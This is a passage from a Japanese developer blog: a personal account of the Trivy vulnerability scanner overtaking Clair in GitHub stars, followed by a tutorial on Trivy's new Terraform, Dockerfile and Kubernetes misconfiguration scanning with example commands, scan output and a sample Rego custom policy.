ですが自分でも忘れていて驚いたのですが、改めてツイートを見返したら公開翌日に今の会社のCTOから連絡が来ていました。この頃はまだスター数も400~500程度だったはずです。その時に既に目をつけて自社のスキャナーを置き換える事を考えていたのは決断力が尋常じゃないです。フランス(?)だったかに出張していてカンファレンスか何かでTrivyがちょうど話題になり友人が教えてくれたらしいです。そしてすぐに自分に連絡したとのこと。フランス(?)には感謝です(?)。

しかし当時の自分はそんな怪しそうな話よりもTrivyが伸びるかどうかが気になっていたのでメールをスルーしてコミュニティの反応を見守っていました。2日ぐらい経って500行かない程度だったので終わった...と思っていたのですが、5/19にフォロワー多い人(現時点で9.6万人)が拡散してくれて一気に増えました。

そのタイミングでクラスメソッドさんからの記事も公開されています。公開後4日ということで海外でも記事が出ていない中だったので、DevelopersIOの速度にはいつも驚かされます。

dev.classmethod.jp

そして一週間経ってようやく1,000を超えました。

余談ですが最初にスターを付けてくれたのは @shibu_jp さんでした。

1ヶ月ほど経って、海外でTrivyを使ったプロジェクトを公開する人も現れるようになりました。

そして2019年8月に今の会社に入って開発を続けるとことになりました。

会社加入後

2019年後半から2020年前半ぐらいでの出来事は以下にまとめています。

knqyf263.hatenablog.com

元々打倒Clairで始めたとはいえ絶望的な差があったのでそれを埋められるとは正直あまり思っていませんでした。ですが会社の人達が応援してくれているのを見てそれに応えたいなと思うようになります。それが2019年の秋ぐらいでしたが、この時点で知名度でもユーザ数でも圧倒的に劣っていたのによくそんな野望を持てたものだなと思います。そういうモチベーションを保てたという点だけを取っても個人ではなく会社として開発して良かったです。個人だったらどうせ無理だろうと諦めていた可能性が高いです。

当時働きすぎてマネージャーからも休めと言われるのですが、自分のためにやっていることであって仕事じゃないから気にしないで欲しいなどと言ったりしていました。実際この時期39℃の熱が出ていてテンションがおかしいですし、体調管理のためにも休息は大事です(当たり前)。

2020年から2021年までのこともまとめていたのですが、仕事で締切に追われていたためまだ公開できていません。

この間、@masahiro331 もアルバイトとして大きく貢献してくれました。

Clairとの比較という観点で大きかったのは、HarborがClairからTrivyに乗り換えたことです。上でも述べましたが、2019年時点ではどこもかしこもClairだったのでこれは流れを変える重要な出来事でした。実際HarborはSUSEなど色々な製品の裏側で使われているので、間接的に多くの製品にTrivyが組み込まれるようになりました。

www.infoq.com

既に実装されているものをわざわざ置き換えるというのはかなりコストがかかるため少しの差があれば普通やりません。それだけ高い評価をしてくれたということです。

しばらくしてGitLabも同様にTrivyに置き換えました。

こうした実績的に既に超えたと言えなくもないか…?とも思いましたが、OSSだしあくまでスター数で越えないとダメだなと思い改めて目標にしました。

そして何やかんやあって2021/07/22時点でスター数を追い越し今に至ります。

競合ツールについて

急に細かい話になりますが、今回の記事によって他のOSSは駄目なのかと誤解されるのは望むところではないので補足しておきます。

Clair

自分が今日まで頑張ってこれたのは間違いなくClairというライバルがいたおかげなので、本当に感謝しています。スポーツでもどんな分野でも目指すべき対象があるというのは重要だと思います。こんなの世界で自分以外誰が困ってるんだ、みたいな孤独を感じる時でもリポジトリを覗きに行くと同様に困っていたりして安心します。ライバルとはいえ公平に評価してもらいたいので、Clairの良いところを述べておきます。

まず再三述べているようにClairはコンテナレジストリ向けに開発されたツールです。実際、コンテナレジストリのように大量のイメージをスキャンする上ではClairに大きなアドバンテージがあります。ClairはPostgreSQLをDBとして採用しており、各コンテナイメージのメタデータや依存ライブラリをPostgreSQL上で管理しています。複数のイメージが同じ依存を持つことはザラなので、RDBの参照をうまく使うことで効率的に各イメージの依存性・脆弱性を管理できます。さらに、新たに脆弱性が公開された場合はDB内で関連するイメージの脆弱性結果を一気に更新することができます。全てのイメージを再度スキャンする必要がないためとても効率的です。

一方でTrivyではDBなどの事前準備を全て不要にしてとにかく簡単に実行できるようにしたかったため、RDBは使わず組み込みKVS(BoltDB)を使っています。SQLiteじゃ駄目なのか?などの選定理由は省略しますが、とにかくTrivyではClairのように実装するのは難しいです。Trivyでもキャッシュは可能な限り最適化しているため再スキャンは高速に終わりますが、それでも数百万〜数千万イメージある場合はある程度の時間がかかります。

つまり全てにおいてどちらかが優れているということは無くて、用途により向き不向きがあるということです。大量のイメージがpushされうるコンテナレジストリでは元々の用途を考えてもClairの方が利点も多いです。

Harborはコンテナレジストリですが、幅広いOSやプログラミング言語の依存性への対応、そして初回実行の高速さなどが上で述べた利点を上回っていると判断してClairからTrivyに乗り換えました。また、Clairは初回実行時にローカルで脆弱性DBの構築を行うため、ネットワーク帯域やCPU・メモリのリソースを多く使います。この辺りはトレードオフなので、今後は用途に応じて棲み分けが進んでいくのではないかと思います。

そもそも先人達の努力によって得られた知見を基に改善できるため、後発組のほうが当然有利です。自分はVulsやClairを見て全く異なる仕組みで作ろうと思い立ち開発を始めているので、先人達には頭が上がりません。

Grype

今回の話にGrypeはあまり関係ないのですが、上で述べたようにGrypeのメンテナと共同作業で悲願を達成できたこともあり感謝も込めて触れておきます。GrypeというのはAnchore社が2020年の10月頃に発表したOSSです。

www.prnewswire.com

Anchoreは元々コンテナイメージスキャンのツールを有償で提供していたのですが(無料分あり)、それをベースにOSSをリリースしたようです。自分で言うのもなんですがかなりTrivyに似ています。表示もおしゃれに作られていて、さすが後発組という感じです。

SBOM対応などTrivyにはないユニークな機能もあります。以前Alpine Linuxのメンテナがブログ内で比較していましたが、false positiveを増やしてでもfalse negativeを減らすというアプローチなのでTrivyとは大きく異なります。これもトレードオフなので、ユーザの好みに合わせて選択すると良いかと思います。

ariadne.space

現時点ではTrivyの方が対応しているOSや言語も多く一日の長がありますが、先程も述べたように後発組の方が基本的には有利なので今後後進に道を譲る可能性はあると思っています。

前回の記事へのコメント

前回の記事は多くの人に読んでもらおうと思って丁寧に書いたので、文章に対する良い評価も頂けて嬉しかったです。かなり文章が長くなってしまったのに多くのコメントを頂きました。

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

すごいし、懇切丁寧な説明もすごいし、すごい。

2019/08/20 15:25
b.hatena.ne.jp

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

いい話だった、というかこの人の人柄がよいことが文章で伝わってきた。

2019/08/20 14:52
b.hatena.ne.jp

こういう誰でも意見を述べやすい記事に対してはネガティブなコメントもきっと多くつくだろうと予想していたのですが、実際には99%の人がポジティブなコメントを残してくださってインターネットの温かみを感じました。

一方で、カルチャー合うのだろうか?みたいな話や

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

いい話だなあと思いつつ、競合潰しとアクハイヤーを兼ねてるんだろうなと感じる程度には心が汚れてる。ロックアップ条件とか気になる。企業のカルチャーが合うといいなあ。

2019/08/20 13:38
b.hatena.ne.jp

OSSとしてはもうダメなんじゃない?という指摘もありました。

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

個人としては大成功だけど、OSSのプログラムは残念だけど死亡だな。

2019/08/21 00:01
b.hatena.ne.jp

これらに関しては自分もまさに不安に思っていた部分だったので、「いや〜分かる!!」みたいな気持ちでコメントを読んでいました。ですが既に書いたように非常に好きにやらせてもらいましたし、そのおかげもあってOSSとして結果も出せました。

ロックアップ条件とかも一切ありませんでした。そういった契約ではなく給料などで良い条件を提示することで残ってもらえるようにという配慮を感じるので良い会社だと思います。

一方で他社の話になりますが、OSS買収の話を持ちかけられたのにアイディアだけ盗まれて買収も雇用もされずといった非常に悲しい事件も2020年に起きました。そのことについてここで何か言いたいわけではないので会社名は伏せますが、自分は恵まれていた例だと思います。ですがそういう素晴らしいことも起きるということで少しは希望になれば幸いです。

また、

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

すごいし夢のある話だけど、奥さんよくイスラエル付いていく気になったな

2019/08/20 15:30
b.hatena.ne.jp

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

ほへー。奥さんの感想も聞いてみたいというのは確かにある。

2019/08/21 02:11
b.hatena.ne.jp

など妻へのコメントもあったのですが、どちらかと言うと海外生活に慣れている妻に自分が付いてきた感じです。日本大好きな自分は海外に行くつもりはなかったのですが、妻から日々海外行けと刷り込まれた結果、気付いたら海外に来てました。人生長いので一度挑戦してみたい気持ちは内心あったのに気づかないフリをしていたところ、後押しされたというのが本当のところです。

妻は引っ越してわずか1ヶ月で犬を飼い始めヘブライ語学校に通い始めました。自分が海外生活に慣れてきたなーとか言ってる間にそれら全ての手続きが終わっていたので驚きました。物件探しなども自分は仕事だったので全て妻がやりました。挙句、こちらの病院でコロナ禍で子供まで産んでいます。自分は日本での出産を提案したのですが、こんな経験普通できないからということで妻がこちらを選択しました。

今はこっちの友人経由で仕事を見つけてきて社会復帰しようとしています。保育園の見学に行ったら英語速すぎて自分は何も聞き取れなかったのですが、妻が話を進めて結局申し込んでました。側から見ているともはや日本人のメンタリティじゃないなと思いますが、そのおかげで自分も何とか日本人のほとんどいない国で暮らせています。

趣味で作ったソフトウェアが海外企業に買われるまでの話 - knqyf263's blog

これ、奥さんも凄くない?

2019/08/20 19:13
b.hatena.ne.jp

完全にその通りです。

今後について

目標を達成したので新しいことやるぞ!と言いたいところですが、先日新たな機能をリリースしたばかりです。

knqyf263.hatenablog.com

この機能はコンテナスキャン機能とかけ離れていてズルみたいな気がしますし本当はClairを上回ってからリリースしたかったのですが、ギリギリ間に合わずでした。ただリリースが7/12で超えたのが7/22なので大きな影響はなさそうだし良いかという感じです。

上の機能はベータ版のような感じでまだまだこれからです。他にも多数アイディアがあり、自分ももっと進化させたいという気持ちがあるのでしばらくはアクティブな開発が続きそうです。

スター数と知名度は必ずしも比例しないと言いましたが、Clairは知っているけどTrivyは知らないという人はまだ多くいます。リリース時期に4年間もの差があるため、その差を埋めるには至っていないということです。そういった観点でもまだ頑張らないといけません。

常々言っていますがこの業界は先が読めないので1年後にはどうなっているか分かりません。コンテナが一気に廃れてWebAssemblyになるかもしれませんし、後発のツールが圧倒的な力で既存ツールを置き換えていくかもしれません。その時はその時で新たな流れを歓迎しつつ楽しもうと思います。

まだアクティブに開発を続けると言いましたが、一方で自分の中であまりにも大きな目標だったので次は何を目標にしようと悩んでいるところです。有給もほとんど取らずに働いてきたので、一度秋ぐらいにゆっくり休んで今後のことを考えたいと思っています。未だに英語も怪しい自分を迎え入れて移住も全面サポートしてくれて、仕事では好きにOSS開発させてくれている会社に報いたいという気持ちがずっとあって、何かしら目に見える形で成果を出したいと思っていたので今回の件で精神的には大分楽になりました。CTOにあなたの目は正しかったと言えるようになってホッとしています。おかげでゆっくり休みでも取るかという気持ちになれました。

まとめ

個人プロジェクトから企業に移ってもOSSを楽しく続けることができ、ここ数年間の目標が達成できました。うまくいくのかと先行きを気にしてくださっていた方もいたようなので本記事で現状を共有しました。

他の人から見たら大したことないじゃん、という内容かもしれませんが自分にとっては大きな目標でした。そんな小さなことで喜べるなんて幸せなやつだなと温かく見守ってくださると幸いです。

競合OSSや類似製品に関して誤解や失礼があってはならないと思い冷静に公平に書いているつもりですが、内心はめっちゃ嬉しいので「よっしゃぁぁぁぁぁぁぁ!!!!!!!!!!!!(小躍り)」ぐらいのテンションです。もし何か失礼に当たる表現があれば恐らく自分の意図ではないので修正します。

ここに至るまで多くの人に大変お世話になりました。この場を借りてお礼申し上げます。

Terraform, Dockerfile, KubernetesなどIaCの脆弱な設定をCI/CDで検知する

概要

自分の所属企業であるAqua SecurityがTFsecというOSSを買収しました。

blog.aquasec.com

TFsecはどういうツールかというとTerraformの静的解析スキャナーです。Terraformの設定ファイルを渡すことでセキュリティに関する設定ミスを主に検知してくれます。

github.com

そのアナウンスに伴い、TFsecは自分が開発している脆弱性スキャナーであるTrivyに統合されました。TrivyではTerraformに加えDockerfileやKubernetesなど、いわゆるInfrastructure as Code(IaC)の設定ミスを検知するマネージドポリシーも提供しています。他にもJSONYAMLなど一般的なファイルフォーマットに対応しているため自分でポリシーを書くことでそれらの検知にも使えます。CloudFormationやAnsibleのマネージドポリシーは近いうちに提供される予定ですが、マネージドポリシーが提供される前でも自分でカスタムポリシーを書けば対応可能です。まずはIaCメインですが、将来的にはWordpressやNginxなどミドルウェアの設定上の問題も検知できるようにしていく予定です。

細かい機能や使い方は以下にまとめました。

aquasecurity.github.io

ちなみに満を持してリリースしたv0.19.0はめちゃくちゃバグってて必ずpanicが起きる状態でした。このリリースに合わせて入念に準備してきたのに非常に恥ずかしいです。OSSのハードルを下げる活動に貢献できたということでポジティブに捉えていきます。v0.19.1以降を使ってください。

実はまだ完全には統合できておらず、今後徐々にTFsecの機能をTrivyに移していきます。特にTFsecで該当箇所の行を表示する機能は非常に便利ですが、まだ対応できていません。将来的にはTrivyで全てできるようにする予定ですが、TFsecもそのまま使い続けられます。

概要としては以上です。以下ではもう少し細かい話をしていきます。

TFsec

TFsecについて少し具体的に説明します。TFsecはTerraformのファイルを解析し、AWSのセキュリティグループが0.0.0.0/0になっているとかAWS Load BalancerがHTTPSではなくHTTPになっているとか、Azureのディスクが暗号化されていないとか、セキュリティに関する設定ミスを中心に脆弱になりうる設定を検知します。中にはセキュリティだけではなくベストプラクティスに沿っているかなどのチェックも一部含まれます。もちろん中には意図的にそういう設定をしている場合もあるので、そういう場合の除外設定なども可能です。

https://github.com/tfsec/tfsec/raw/master/screenshot.png

特徴としては以下です。

重要な点としては、単にHCLをパースするだけでなく関数や変数の評価にも対応している点です。この辺りのexampleを見ると分かるかと思いますが、きちんとvariableやtfvarsの値を評価した上で脆弱な設定を検知しています。

github.com

世の中には terraform plan の出力をJSONに変換して検知するツールもあるのですが、Terraform使いの皆さんなら terraform plan にいかに時間がかかるか知っているかと思います。TFsecでは単にTerraformで書かれた設定ファイルを渡すだけで高速に検知できるので手元でも気軽に実行できます。

また、 terraform plan する場合はAWSで言うとS3バケットへのアクセスが必要だったりもします。つまりCI上で検知するためにはある程度の権限を持ったAPIトークンが必要になるわけですが、Codecovの一件で分かったようにCI上に気軽に認証情報を設定すると3rd partyツールのインシデントによって漏洩するリスクがあります。そういったリスクを下げるためにもCIのワークフローはきちんと分けて、可能な限り認証情報を渡さないようにするのが好ましいです。そういう観点でもTFsecは安全に利用できます。

about.codecov.io

TrivyのIaC設定ミス検知機能

概要

TrivyというOSSを知らない方もいると思いますが、元々はコンテナイメージの脆弱性スキャナーです。主にCI上で実行されることを意図して開発しており、コンテナレジストリにpushする前に脆弱性を検知してビルドを失敗させることができます。

github.com

そこから色々と進化し、現在ではコンテナイメージだけでなくファイルシステムやGitリポジトリのスキャンも可能です。VMのOSパッケージの脆弱性をスキャンすることもできますし、コンテナを利用していないプロジェクトでNode.jsの依存性の脆弱性を検知することもできます。他にもGoのバイナリスキャンだったり色々と対応していますので、興味が湧いた方は以下のドキュメントをご参照ください。このブログでもちょこちょこ解説しています。

aquasecurity.github.io

今回、新たに脆弱性だけでなく設定ミスも検知するようになりました。英語ではmisconfigurationsとかconfiguration issuesとか呼んでます。さすがに脆弱性と設定ミスではまるで異なる機能なのでTrivyに実装する必要はないだろうと思い別ツールの開発を強く主張したのですが、何やかんやあって議論に敗北しました(恒例)。ツールは小さく作りたいという自分の哲学には反しますが、より多くの人がTrivy使ってくれるなら良いかと自分を強引に納得させました。

ということで少し脱線しましたが、やるからには良いものをということで気合を入れて作ったので結構良い仕上がりになったと思います(v0.19.0は壊れてたけど)。

使い方

使い方はコンテナイメージの脆弱性スキャン同様、非常に簡単でディレクトリを指定するだけです。例えば以下のように複数のIaCファイルが含まれるディレクトリがあるとします。 deployment.yamlKubernetesmain.tf はTerraformの設定ファイルです。

$ ls iac/
Dockerfile  deployment.yaml  main.tf

スキャンするためには trivy conf に続けてディレクトリを指定するだけです。

$ trivy conf ./iac
2021-07-09T11:51:08.212+0300    INFO    Need to update the built-in policies
2021-07-09T11:51:08.212+0300    INFO    Downloading the built-in policies...
2021-07-09T11:51:09.527+0300    INFO    Detected config files: 3

Dockerfile (dockerfile)
=======================
Tests: 23 (SUCCESSES: 22, FAILURES: 1, EXCEPTIONS: 0)
Failures: 1 (HIGH: 1, CRITICAL: 0)

+---------------------------+------------+-----------------+----------+------------------------------------------+
|           TYPE            | MISCONF ID |     CHECK       | SEVERITY |                 MESSAGE                  |
+---------------------------+------------+-----------------+----------+------------------------------------------+
| Dockerfile Security Check |   DS002    |   root user     |   HIGH   | Last USER command in                     |
|                           |            |                 |          | Dockerfile should not be 'root'          |
|                           |            |                 |          | -->avd.aquasec.com/appshield/ds002       |
+---------------------------+------------+-----------------+----------+------------------------------------------+

deployment.yaml (kubernetes)
============================
Tests: 28 (SUCCESSES: 15, FAILURES: 13, EXCEPTIONS: 0)
Failures: 13 (HIGH: 1, CRITICAL: 0)

+---------------------------+------------+----------------------------+----------+------------------------------------------+
|           TYPE            | MISCONF ID |           CHECK            | SEVERITY |                 MESSAGE                  |
+---------------------------+------------+----------------------------+----------+------------------------------------------+
| Kubernetes Security Check |   KSV005   | SYS_ADMIN capability added |   HIGH   | Container 'hello-kubernetes' of          |
|                           |            |                            |          | Deployment 'hello-kubernetes'            |
|                           |            |                            |          | should not include 'SYS_ADMIN' in        |
|                           |            |                            |          | 'securityContext.capabilities.add'       |
|                           |            |                            |          | -->avd.aquasec.com/appshield/ksv005      |
+---------------------------+------------+----------------------------+----------+------------------------------------------+

main.tf (terraform)
===================
Tests: 23 (SUCCESSES: 14, FAILURES: 9, EXCEPTIONS: 0)
Failures: 9 (HIGH: 6, CRITICAL: 1)

+------------------------------------------+------------+------------------------------------------+----------+--------------------------------------------------------+
|                   TYPE                   | MISCONF ID |                  CHECK                   | SEVERITY |                        MESSAGE                         |
+------------------------------------------+------------+------------------------------------------+----------+--------------------------------------------------------+
|   Terraform Security Check powered by    |   AWS003   | AWS Classic resource usage.              |   HIGH   | Resource                                               |
|                  tfsec                   |            |                                          |          | 'aws_db_security_group.my-group'                       |
|                                          |            |                                          |          | uses EC2 Classic. Use a VPC instead.                   |
|                                          |            |                                          |          | -->tfsec.dev/docs/aws/AWS003/                          |
+                                          +------------+------------------------------------------+----------+--------------------------------------------------------+
|                                          |   AWS004   | Use of plain HTTP.                       | CRITICAL | Resource                                               |
|                                          |            |                                          |          | 'aws_alb_listener.my-alb-listener'                     |
|                                          |            |                                          |          | uses plain HTTP instead of HTTPS.                      |
|                                          |            |                                          |          | -->tfsec.dev/docs/aws/AWS004/                          |
+------------------------------------------+------------+------------------------------------------+----------+--------------------------------------------------------+

そうすると上のようなスキャン結果が出力されます(一部見やすさのためにカットしてます)。マネージドポリシーは自動的にGitHub Packages Container registryからダウンロードされるのでユーザは意識する必要がありません。その後も24時間ごとに最新のポリシーがないかを勝手にチェックして必要なら更新してくれます。

Terraformは内部的にはTFsecでスキャンしてその結果を出力しています。マネージドポリシーはKubernetesとDockerfileに対応しており、Open Policy Agentの提供しているRegoで書かれています。それらはAppShieldと呼ばれるリポジトリで管理されています。

github.com

もしポリシーに対してフィードバックがある場合はAppShield上にIssueやPRを上げてください。個人的にはマネージドポリシーの完成度はまだまだだと思っているのですが、中央でポリシーを管理することで多くのユーザの知見が集約されて今後より良いものになっていくと期待しています。

正直自分でRego書くのかなり大変で学習コストも高いと感じているので、マネージドポリシーを提供することで多くの人がなるべくRegoを書かずに済む世界になったら良いなという思いがあります。もちろん慣れるとRegoは便利なので余力がある組織は積極的に学んでカスタムポリシーをガシガシ書いていくのもありだと思います。ですが、それでもやはり各組織が共通でチェックしたいことというのはあるはずなので、そういったポリシーをAppShieldで提供していきたいです。

ちなみにセキュリティにそこまで関係ないものもベストプラクティスに含まれている場合はなるべく検知しています。そういったものはSeverityがやや低くなっています。

JSONの出力だったりSeverityによるフィルタリングなど、脆弱性に対して可能な操作の多くは設定ミスに対しても可能です。CLIオプションの使い方はドキュメントに多く例を載せているので参照してください。

aquasecurity.github.io

また、 trivy fs コマンドを使うと脆弱性と設定ミスを同時に検知できます。例えば以下のようにDockerfileとPipfile.lock(PipenvというPythonのパッケージマネージャ用のファイル)があるとします。これはPythonで開発をしていてDockerコンテナを利用している場合はよくある構成だと思います。

$ ls myapp/
Dockerfile Pipfile.lock

こういった場合に --security-checks vuln,configと指定すると両方に対してスキャンが実行されます。

$ trivy fs --security-checks vuln,config --severity HIGH,CRITICAL myapp/
2021-07-09T12:03:27.564+0300    INFO    Detected OS: unknown
2021-07-09T12:03:27.564+0300    INFO    Number of language-specific files: 1
2021-07-09T12:03:27.564+0300    INFO    Detecting pipenv vulnerabilities...
2021-07-09T12:03:27.566+0300    INFO    Detected config files: 1

Pipfile.lock (pipenv)
=====================
Total: 1 (HIGH: 1, CRITICAL: 0)

+----------+------------------+----------+-------------------+---------------+---------------------------------------+
| LIBRARY  | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION |                 TITLE                 |
+----------+------------------+----------+-------------------+---------------+---------------------------------------+
| httplib2 | CVE-2021-21240   | HIGH     | 0.12.1            | 0.19.0        | python-httplib2: Regular              |
|          |                  |          |                   |               | expression denial of                  |
|          |                  |          |                   |               | service via malicious header          |
|          |                  |          |                   |               | -->avd.aquasec.com/nvd/cve-2021-21240 |
+----------+------------------+----------+-------------------+---------------+---------------------------------------+

Dockerfile (dockerfile)
=======================
Tests: 23 (SUCCESSES: 22, FAILURES: 1, EXCEPTIONS: 0)
Failures: 1 (HIGH: 1, CRITICAL: 0)

+---------------------------+------------+-----------+----------+------------------------------------------+
|           TYPE            | MISCONF ID |   CHECK   | SEVERITY |                 MESSAGE                  |
+---------------------------+------------+----------------------+----------+------------------------------------------+
| Dockerfile Security Check |   DS002    | root user |   HIGH   | Last USER command in                     |
|                           |            |           |          | Dockerfile should not be 'root'          |
|                           |            |           |          | -->avd.aquasec.com/appshield/ds002       |
+---------------------------+------------+-----------+----------+------------------------------------------

確かにhttplib2というPythonライブラリの脆弱性とDockerfileに対する設定上の問題が検知されています。現在はデフォルトでは脆弱性のみの検知となっているため、両方検知したい場合は --security-checks オプションの指定が必須です。

簡単な説明は以上です。もし興味を持ってもらえたら、まずは使ってみてフィードバックを頂ければと思います。もし良いと思ってもらえたらGitHubのスターもお願いします。あと200増えると自分がこの2年以上ずっと目標にしていたことが達成されます。

カスタムポリシー

上では主にマネージドポリシーを使って検知する方法について説明しましたが、自分でポリシーを書きたい場合もあると思います。そういった場合はRegoを使ってカスタムポリシーを定義できます。カスタムポリシーではパース可能なファイルフォーマット(JSON, YAML, HCLなど)であれば標準で対応しているKubernetes, Dockerfile, Terraform以外にも対応可能です。詳細はドキュメントを参照してほしいのですが、ブログ内でも簡単に説明します。

aquasecurity.github.io

Regoでポリシーを書いて設定ファイルをテストすると言うとConftest が有名です。ただTrivyではConftestと違いカスタムポリシー内でメタデータセレクターが定義できます。

まずはカスタムポリシーの例を見ると早いと思うので載せておきます。

package user.kubernetes.ID001

__rego_metadata__ := {
    "id": "ID001",
    "title": "Deployment not allowed",
    "severity": "LOW",
    "type": "Custom Kubernetes Check",
    "description": "Deployments are not allowed because of some reasons.",
}

__rego_input__ := {
        "combine": false,
    "selector": [
        {"type": "kubernetes"},
    ],
}

deny[msg] {
    input.kind == "Deployment"
    msg = sprintf("Found deployment '%s' but deployments are not allowed", [input.metadata.name])
}

これはKubernetesの設定ファイルに対するポリシーでDeploymentを使おうとしたら弾くというものです。実際にはあり得ないようなポリシーですが例なのでポリシーそのもの自体はスルーしてください。

パッケージ名

パッケージ名は重要で、Trivyでは原則1パッケージ1ポリシーにする必要があります。理由は技術的な制約でメタデータを同じパッケージ内に複数定義するとエラーになるからなのですが、とりあえずパッケージ名はユニークにする必要があると思ってください。1パッケージ1ポリシーというのは deny が1つでなくてはならないという意味ではなく、 deny が複数あっても問題ありません。意味的に検知したいものが1つであるべき、つまり1つのTitleで表現できるものであれば同じパッケージ内に複数定義しても問題ありません。

上の例ではパッケージ名を user.kubernetes.ID001 にしています。パッケージ名に関する制約はユニークであること以外には特にないのですが、 $prefix.$config_type.$id などにすると分かりやすくかつユニークになるので良いと思います。全然違うルールでパッケージ名を定義しても特に影響は出ません。ただし、実行して欲しいパッケージのprefixはCLIオプションとして指定する必要があるためmainでもcustomでも何でも良いですが $prefix の部分は統一することをおすすめします。

メタデータ

__rego_metadata__ という名前で定義する必要があります。これは結果のテーブルやJSONメタデータとして出力されます。optionalなので定義しなくても動くのですが、全部N/AやUNKNOWNといった表示になってしまうため分かりやすさのためこちらも定義することをおすすめします。TitleやDescriptionがあるとひと目で何のポリシーかを理解しやすくなります。 deny で返されるメッセージでも理解はできるのですが、変数などが入ることが多いですし説明的になるので一覧の視認性という意味だとTitle等があるとやはり便利かなと思っています。

インプット

__rego_input__ という名前で定義する必要があります。今現在は2つのフィールドが定義可能で、 combineselector になります。こちらのフィールドもoptionalなので省略可能です。

Trivyでは原則ファイルごとに独立して処理するのですが、複数のファイルを相互参照したい場合もあります。例えばKubernetesのServiceがDeploymentのselectorと一致しているか、などです。そういった場合にcombine: trueにするとパースされたファイルが全て結合されて配列としてポリシーに渡されます。これはポリシーごとに制御可能なので、複数ファイルを同時参照したいポリシー以外ではcombine: falseにしておけば良いですし、省略すればデフォルトはfalseです。

もう一つはselectorですが、こちらはポリシーが入力として受け取りたいファイルの種類を定義できます。今回の例では type: kubernetes を指定しているので、同じディレクトリ内にDockerfileやTerraformのファイルがあってもこのポリシーにはinputとして渡されません。省略すると全部のファイルが渡されるだけなので、ポリシー側でフィルタする場合にはselectorは定義しなくても構いません。ただしDockerfileのsuccessに表示されたりしてノイズになりうるので指定しておくほうが無難ではあります。ちなみに type: kubernetes のようにオブジェクトになっているのは、そこに kind: Pod なども将来的に指定できるようにするためです。Trivy側で判別できない設定ファイルの場合は単純に jsonyaml として渡されるので、 type: json などのように指定します。現在は kubernetes, ansible, cloudformation のみが判別可能です。

使い方

以下のように --policy オプションでポリシーのディレクトリを指定します。同時に --namespaces で評価したいパッケージのprefixを指定します。デフォルトではマネージドポリシーのパッケージ( appshield.* ) しか評価されません。この例では user.* が評価されます。

$ trivy conf --policy /path/to/custom_policies --namespaces user /path/to/config_dir

Conftestとの違い

Trivyの設定ミス検知機能はConftestに大きな影響を受けています。Conftestはシンプルで軽量でとても良いツールだと思います。ですが構造化されたファイルに対するテストツールとして汎用的に作られているため、セキュリティ関連の設定ミスを主に検知したいと思うと少し物足りなくなりTrivyではConftestを使わずエンジンを自作しました。内部ではConftestのロジックを流用させてもらっている所も多いですしここで感謝を述べておきます。両者のツールの目指すところが異なるので使い分けが必要かと思います。

ですが何が違うのかわからない人もいるかも知れないので違いについていくつかピックアップして簡単に説明します。ドキュメントには表も載せています。一覧で確認する場合はそちらのほうが分かりやすいと思うのでご確認ください。

aquasecurity.github.io

マネージドポリシー

Conftestでは基本的に自分でポリシーを書く必要がありますが、TrivyではDockerfile, Kubernetes, Terraformのマネージドポリシーを提供しているため、ツールをインストールしてすぐ利用可能です。

メタデータ

TrivyではID, Title, Description, Severityなどのメタデータに対応しています。Conftestも deny, warn, violationが定義できSeverityに近いことはできますが、そういった情報でフィルタリングなどはできません。

ポリシー単位のcombine

Conftestでも --combine オプションが提供されているのですが、全体で有効化されてしまうためファイルの配列を受け取るように全てのポリシーを書き直す必要があります。Trivyではポリシー単位で定義可能なので一部のポリシーだけをcombine対応することができます。

Input Selector

上で述べたように __rego_input__ を定義することでKubernetesに関するものだけを入力として受け取る、といったことが可能です。

Goでのテスト

Goでカスタムポリシーをテストできるようにライブラリとして動作するようにしています。Regoのユニットテストでは入力をJSONなどで定義する必要がありますが、こちらはファイルのパースからやってくれるためテストデータも用意・管理しやすいです。

aquasecurity.github.io

また、そもそも想定していた入力とフォーマットが異なる場合はRegoのユニットテストでは検知できないためGoのテストを組み合わせるとよいかと思います。YAMLなどはパースしてどういう構造化データになるか容易に想定できますが、Dockerfileなどは難しいかと思います。ドキュメントには入力の例なども載せています。

aquasecurity.github.io

ただしGoのテストだけで言うかとそうは思っておらず、Regoのユニットテストと組み合わせると効果的かと思います。ユニットテストとインテグレーションテストのような関係だと考えています。

対応フォーマット

Conftestは現時点で以下の14種類に対応しています。

  • CUE, Dockerfile, EDN, HCL, HCL2, HOCON, Ignore files, INI, JSON, Jsonnet, TOML, VCL, XML, and YAML

一方でTrivyは6種類しか対応していません。

  • Dockerfile, HCL, HCL2, JSON, TOML, and YAML

互換性

TrivyはConftestとの互換性を意識して作っています。そのため、Conftestで利用していたポリシーをそのまま渡しても動く可能性が高いです。ですが結果が見にくいので、なるべく上述したメタデータなどの定義をおすすめします。

違いまとめ

もしマネージドポリシーが不要で自分でポリシーを書きたい、かつメタデータなども不要でメッセージだけで十分という場合はConftestを利用する方が良いです。またはTrivyで対応していないファイルフォーマットに対するテストをしたい場合もConftestになります。Conftestは機能もそこまで多くないため扱いやすく軽量です。

一方ですぐ使い始められるスキャナーが欲しいという方はマネージドポリシーを提供しているTrivyを使う方が良いです。CI/CDで使うのに適した多くの機能がありますし脆弱性も同時に検知できるため、プロジェクト内の脆弱性と設定ミスをCI/CDで同時に検知したい場合もTrivyが適しているかと思います。

余談

マネージドポリシーを提供するAppShieldプロジェクトは別のチーム担当で自分は最初関わっていませんでした。ですがTrivy側の開発が終わってあとはリリースに向けてAppShieldの完成を待つだけ、という状態で進捗を確認したらほぼ0で愕然とする事件がありました。このままではリリースには間に合わないということで自分が首を突っ込んで強引にポリシーの整備をしました。そういった背景もあって自分はここ数週間休日返上で働いていたのですが、正直全部のポリシーを直すには到底時間が足りず他に足したいポリシーも間に合わずでした。現時点でもかなり良くはなったのですが、個人的にはまだまだ満足していないので暖かく見守りつつフィードバック、あわよくばコントリビュートしてもらえるととても嬉しいです。

